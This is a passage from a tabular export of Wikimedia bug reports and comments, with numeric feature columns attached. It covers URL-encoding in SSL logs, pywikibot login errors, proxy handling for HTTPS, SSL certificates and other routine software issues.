(See bug 58316)",,,1387751056,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-bdpu7pgcmyqbkclrh4pg,task_subcomment,,True,c3,1,True,,,-80,True,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,6.0,0.0,5.0,6.0,0.0,1.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.349397590361446,0.7228915662650602,"The problem does not show on sampled-1000, mobile, zero stream but is
visible on unsampled streams that do not filter to hosts. So for example
the edit stream, and webstatscollector output (and hence stats.grok.se).

Especially the exposure of this problem through webstatscollector, seems
problematic, as people start to add redirects for the non-existing but
seemingly requested \x encoded URLs. :-/
(See bug 58316)"
263363,SSL endpoints log %-encoded URLs logged as \x-encoded URLs,"Actual request and log entries:



* request:

___________________________________________________________
christian@spencer // 0 // 21:32:57
cwd: ~/tmp/encoding-test
LC_ALL=C wget https://ru.wikipedia.org/wiki/1092_год
--2013-12-22 21:34:14--  https://ru.wikipedia.org/wiki/1092_%D0%B3%D0%BE%D0%B4
Resolving ru.wikipedia.org... 91.198.174.192
Connecting to ru.wikipedia.org|91.198.174.192|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `1092_\320\263\320\276\320\264.2'

    [ <=>                                                            ] 80,537       510K/s   in 0.2s

2013-12-22 21:34:15 (510 KB/s) - `1092_\320\263\320\276\320\264' saved [80537]



* Corresponding log entries from udp2log stream:

amssq57.esams.wikimedia.org	4663480343	2013-12-22T20:34:15	0.596358538	$WIKIMEDIA_IP	miss/200	80537	GET	http://ru.wikipedia.org/wiki/1092_%D0%B3%D0%BE%D0%B4	-	text/html; charset=UTF-8	-	$MY_IP	Wget/ (linux-gnu)	-	-
ssl3002	454288692	2013-12-22T20:34:15.377	0.950	$MY_IP	-/200	81682	GET	https://ru.wikipedia.org/wiki/1092_\xD0\xB3\xD0\xBE\xD0\xB4	NONE/wikimedia	-	-	-	Wget/%20(linux-gnu)	-	-",,,1387750288,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-bdpu7pgcmyqbkclrh4pg,task_subcomment,,True,c3,1,True,,,-80,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.333333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,8.333333333333334,0.0,0.0,1.0,8.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.1473251028806586,0.4544238683127572,"Actual request and log entries:



* request:

___________________________________________________________
christian@spencer // 0 // 21:32:57
cwd: ~/tmp/encoding-test
LC_ALL=C wget URL
--2013-12-22 21:34:14--  URL
Resolving ru.wikipedia.org... 91.198.174.192
Connecting to ru.wikipedia.org|91.198.174.192|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: CODE1092_\320\263\320\276\320\264' saved [80537]



* Corresponding log entries from udp2log stream:

amssq57.esams.wikimedia.org	4663480343	2013-12-22T20:34:15	0.596358538	$WIKIMEDIA_IP	miss/200	80537	GET	URL	-	text/html; charset=UTF-8	-	$MY_IP	Wget/ (linux-gnu)	-	-
ssl3002	454288692	2013-12-22T20:34:15.377	0.950	$MY_IP	-/200	81682	GET	URL	NONE/wikimedia	-	-	-	Wget/%20(linux-gnu)	-	-"
60818,"PYWP-10 Login needed for reading site, causing NoUsername exceptions","This issue was converted from https://jira.toolserver.org/browse/PYWP-10.
Summary: Login needed for reading site, causing NoUsername exceptions
Issue type: Bug - A problem which impairs or prevents the functions of the product.
Priority: Blocker
Status: Open
Assignee: Merlijn van Deen <valhallasw@arctus.nl>

On Fri, 21 Jan 2011 22:18:49, Merlijn van Deen <valhallasw@arctus.nl> opened the following bug:
> (pwbde)valhallasw@dorthonion:~/src/pwbde/pwb-
> flat/branches/rewrite/scripts$ cat test.py from pywikibot import
> Page, Site print Page(Site('de', 'wikipedia'), 'test').site
> (pwbde)valhallasw@dorthonion:~/src/pwbde/pwb-
> flat/branches/rewrite/scripts$ python test.py Traceback (most recent
> call last):   File ""test.py"", line 2, in <module>     print
> Page(Site('de', 'wikipedia'), 'test').site   File
> ""/home/valhallasw/src/pwbde/pwb-
> flat/branches/rewrite/pywikibot/page.py"", line 94, in site
> return self._link.site   File ""/home/valhallasw/src/pwbde/pwb-
> flat/branches/rewrite/pywikibot/page.py"", line 2358, in site
> self.parse()   File ""/home/valhallasw/src/pwbde/pwb-
> flat/branches/rewrite/pywikibot/page.py"", line 2341, in parse     if
> self._site.case() == 'first-letter':   File
> ""/home/valhallasw/src/pwbde/pwb-
> flat/branches/rewrite/pywikibot/site.py"", line 970, in case
> return self.siteinfo['case']   File ""/home/valhallasw/src/pwbde/pwb-
> flat/branches/rewrite/pywikibot/site.py"", line 964, in siteinfo
> self._getsiteinfo()   File ""/home/valhallasw/src/pwbde/pwb-
> flat/branches/rewrite/pywikibot/site.py"", line 921, in _getsiteinfo
> sidata = sirequest.submit()   File ""/home/valhallasw/src/pwbde/pwb-
> flat/branches/rewrite/pywikibot/data/api.py"", line 219, in submit
> self.site.login(False)   File ""/home/valhallasw/src/pwbde/pwb-
> flat/branches/rewrite/pywikibot/site.py"", line 703, in login
> user=self._username[sysop])   File ""/home/valhallasw/src/pwbde/pwb-
> flat/branches/rewrite/pywikibot/__init__.py"", line 124, in wrapper
> return method(*__args, **__kw)   File ""/home/valhallasw/src/pwbde
> /pwb-flat/branches/rewrite/pywikibot/__init__.py"", line 124, in
> wrapper     return method(*__args, **__kw)   File
> ""/home/valhallasw/src/pwbde/pwb-
> flat/branches/rewrite/pywikibot/login.py"", line 105, in __init__
> 'wiki_code': self.site.code}) pywikibot.exceptions.NoUsername:
> ERROR: Username for wikipedia:de is undefined. If you have an
> account for that site, please add a line to user-config.py:
> usernames['wikipedia']['de'] = 'myUsername'

--------------------------
**Version**: core-(2.0)
**Severity**: blocker",Needs Triage,90.0,1387662960,1390765432.0,PHID-USER-hbffue25ov3attlvclze,False,,False,PHID-TASK-szm5o75zx4h3sy7iigwg,task_description,resolved,True,c3,1,False,False,True,-80,True,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,8.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.5,32.5,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.0,26.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,3.5,3.7098765432098766,0.40740740740740744,"This issue was converted from URL
Summary: Login needed for reading site, causing NoUsername exceptions
Issue type: Bug - A problem which impairs or prevents the functions of the product.
Priority: Blocker
Status: Open
Assignee: Merlijn van Deen <valhallasw@arctus.nl>

On Fri, 21 Jan 2011 22:18:49, Merlijn van Deen <valhallasw@arctus.nl> opened the following bug:
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

--------------------------
**Version**: core-(2.0)
**Severity**: blocker"
260958,"PYWP-10 Login needed for reading site, causing NoUsername exceptions","I think so -- this was an issue a long time ago, but at some point I fixed it.",,,1390765432,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-szm5o75zx4h3sy7iigwg,task_subcomment,,True,c3,1,True,,,-75,True,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,0.9523809523809523,"I think so -- this was an issue a long time ago, but at some point I fixed it."
260951,"PYWP-10 Login needed for reading site, causing NoUsername exceptions","**pyfisch** wrote:

I can not reproduce this bug. Maybe it was fixed?",,,1390762564,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-szm5o75zx4h3sy7iigwg,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.95,0.85,"**pyfisch** wrote:

I can not reproduce this bug. Maybe it was fixed?"
60629,Error 500 on login,"First time I tried to login via Meta, I got an error 500. This might have been because I had cookies disabled for metrics.wmflabs.org: after I whitelisted it, I didn't get any error.

May be the same as bug 52749.

--------------------------
**Version**: unspecified
**Severity**: minor",Needs Triage,90.0,1387359180,1389815205.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-kdo7tmfcvvv3unzvin4h,task_description,declined,True,c3,1,True,False,True,-81,True,2.0,0.0,0.0,0.0,2.0,5.0,3.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,17.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,9.0,9.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.7121212121212122,"First time I tried to login via Meta, I got an error 500. This might have been because I had cookies disabled for metrics.wmflabs.org: after I whitelisted it, I didn't get any error.

May be the same as bug 52749.

--------------------------
**Version**: unspecified
**Severity**: minor"
273038,Error 500 on login,"I'm closing this, nobody's reported anything similar and lots of people are logging in daily.",,,1389815205,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-kdo7tmfcvvv3unzvin4h,task_subcomment,,True,c3,1,False,,,-77,True,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.157894736842105,1.0,"I'm closing this, nobody's reported anything similar and lots of people are logging in daily."
273028,Error 500 on login,"We haven't seen any reports of this. I'll re-up the priority if we do.

-Toby",,,1387415490,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-kdo7tmfcvvv3unzvin4h,task_subcomment,,True,c3,1,False,,,-80,True,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,14.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,14.0,18.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.909090909090909,0.9545454545454546,"We haven't seen any reports of this. I'll re-up the priority if we do.

-Toby"
273022,Error 500 on login,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/1328",,,1387360025,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kdo7tmfcvvv3unzvin4h,task_subcomment,,True,c3,1,False,,,-81,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
60548,proxy directive ignored for https connections,"proxy = {'host': 'localhost:8080', 'auth': None}

is ignored for https connections, and thus has been broken for WMF sites since the forced https switch.

--------------------------
**Version**: compat-(1.0)
**Severity**: normal",Needs Triage,90.0,1387226940,1387277306.0,PHID-USER-muirnivxp5hzppn2a3z7,False,,False,PHID-TASK-x3y2zws47ydg7taxwsez,task_description,resolved,True,c3,1,True,False,True,-81,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.5789473684210527,0.6491228070175439,"proxy = {'host': 'localhost:8080', 'auth': None}

is ignored for https connections, and thus has been broken for WMF sites since the forced https switch.

--------------------------
**Version**: compat-(1.0)
**Severity**: normal"
268660,proxy directive ignored for https connections,"Change 101998 merged by jenkins-bot:
(bug 58548) use proxy also for https connections

https://gerrit.wikimedia.org/r/101998",,,1387261328,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3y2zws47ydg7taxwsez,task_subcomment,,True,c3,1,False,,,-81,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.095238095238095,1.0,"Change 101998 merged by jenkins-bot:
(bug 58548) use proxy also for https connections

GERRIT_URL"
268655,proxy directive ignored for https connections,"Change 101998 had a related patch set uploaded by Merlijn van Deen:
(bug 58548) use proxy also for https connections

https://gerrit.wikimedia.org/r/101998",,,1387227462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x3y2zws47ydg7taxwsez,task_subcomment,,True,c3,1,False,,,-81,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.230769230769231,1.0,"Change 101998 had a related patch set uploaded by Merlijn van Deen:
(bug 58548) use proxy also for https connections

GERRIT_URL"
60463,IE6: login looks ugly,"login looks ugly in IE6

Login to http://en.wikipedia.beta.wmflabs.org/ with IE6

Input fields and text are skewed.  

Login works though, so low priority

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F12165}",Needs Triage,90.0,1386967200,1386967436.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-j75zsjrbuxd3lpaid4bp,task_description,resolved,True,c3,1,False,False,True,-81,True,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.6545454545454545,"login looks ugly in IE6

Login to URL with IE6

Input fields and text are skewed.  

Login works though, so low priority

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F12165}"
264325,IE6: login looks ugly,"

*** This bug has been marked as a duplicate of bug 48188 ***",,,1386967436,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-j75zsjrbuxd3lpaid4bp,task_subcomment,,True,c3,1,True,,,-81,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48188 ***"
60392,Bot hangs after HTTP/301 response,"See https://gerrit.wikimedia.org/r/#/c/100980/2; possibly related to https://bugzilla.wikimedia.org/show_bug.cgi?id=55127

--------------------------
**Version**: core-(2.0)
**Severity**: normal",Needs Triage,90.0,1386852120,1391369763.0,PHID-USER-muirnivxp5hzppn2a3z7,False,,False,PHID-TASK-3r6hgmlrzmtavftcvbpq,task_description,resolved,True,c3,1,True,False,True,-81,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.88,0.6,"See URL possibly related to URL

--------------------------
**Version**: core-(2.0)
**Severity**: normal"
260281,Bot hangs after HTTP/301 response,It happens again and the bot hangs for unknown reasons,,,1388636594,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-3r6hgmlrzmtavftcvbpq,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,It happens again and the bot hangs for unknown reasons
260273,Bot hangs after HTTP/301 response,Seems that this bug has been solved with the change above. I didn't had bot hanging since that fix.,,,1388500263,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-3r6hgmlrzmtavftcvbpq,task_subcomment,,True,c3,1,True,,,-79,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,14.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,9.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6818181818181817,0.9090909090909091,Seems that this bug has been solved with the change above. I didn't had bot hanging since that fix.
60284,Tool Labs SSL intermediate certificate needed,"The site certificate is not trusted in all web browsers. Chrome for Android, for instance, shows a warning when visiting https://tools.wmflabs.org. Adding an intermediate certificate should fix this, per

https://www.sslshopper.com/ssl-checker.html#hostname=tools.wmflabs.org

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1386703380,1391550536.0,PHID-USER-53x4y44yt43qjivfzsqf,False,,False,PHID-TASK-bwzwbwqekfbhukpeslab,task_description,resolved,True,c3,1,False,False,True,-82,True,2.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,6.0,2.0,15.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,4.320754716981132,0.7169811320754716,"The site certificate is not trusted in all web browsers. Chrome for Android, for instance, shows a warning when visiting URL Adding an intermediate certificate should fix this, per

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
279428,Tool Labs SSL intermediate certificate needed,"

*** This bug has been marked as a duplicate of bug 52630 ***",,,1391550536,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-bwzwbwqekfbhukpeslab,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 52630 ***"
60178,CurlHttpRequest fails with curl < 7.16.2,"**Author:** `slboat`

**Description:**
i found this,is maybe a bug?

PHP Notice:  Use of undefined constant CURLOPT_CONNECTTIMEOUT_MS - assumed 'CURLOPT_CONNECTTIMEOUT_MS' in w/includes/HttpFunctions.php on line 733

--------------------------
**Version**: 1.22.0
